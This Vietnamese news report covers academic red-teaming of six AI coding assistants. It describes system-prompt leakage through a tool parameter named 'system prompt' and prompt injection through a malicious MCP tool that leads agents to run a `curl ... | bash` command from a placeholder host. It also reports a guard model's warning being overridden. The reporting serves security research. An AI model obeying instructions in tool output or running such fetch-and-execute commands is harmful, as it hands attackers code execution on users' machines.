Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo
Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công.
Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng.
Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống.
Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp.
Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại.
Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.
marsbit19 phút trước